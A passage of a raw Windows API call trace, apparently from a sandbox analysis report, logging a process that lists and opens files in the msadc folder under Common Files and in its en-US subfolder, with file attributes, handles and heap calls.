lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0244.877] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.877] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0244.878] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0244.878] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x927e90 [0244.878] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x927e90, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x927e90, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0244.878] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927e90) returned 1 [0244.878] NtClose (Handle=0x1c0) returned 0x0 [0244.878] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.878] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.878] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925c08 [0244.878] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925c90 [0244.878] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0244.931] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.931] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0244.931] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.931] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.931] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.931] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.931] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.931] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0244.931] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925c08) returned 1 [0244.931] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920630 [0244.931] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923628 [0244.931] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.931] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0244.931] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920650 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923838 [0244.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.932] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920670 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923520 [0244.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.932] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.932] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920690 [0244.932] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923a48 [0244.933] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.933] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0244.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.933] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.933] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9206b0 [0244.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923b50 [0244.933] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.933] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0244.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.933] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.933] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9206d0 [0244.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923c58 [0244.933] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.933] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0244.933] GetLastError () returned 0x12 [0244.933] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0244.934] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0244.934] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.934] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0244.934] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0244.934] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0244.934] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0244.934] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0244.934] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0244.934] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0244.934] GetLastError () returned 0x12 [0244.934] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925c90) returned 1 [0244.934] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0244.935] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0244.935] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, 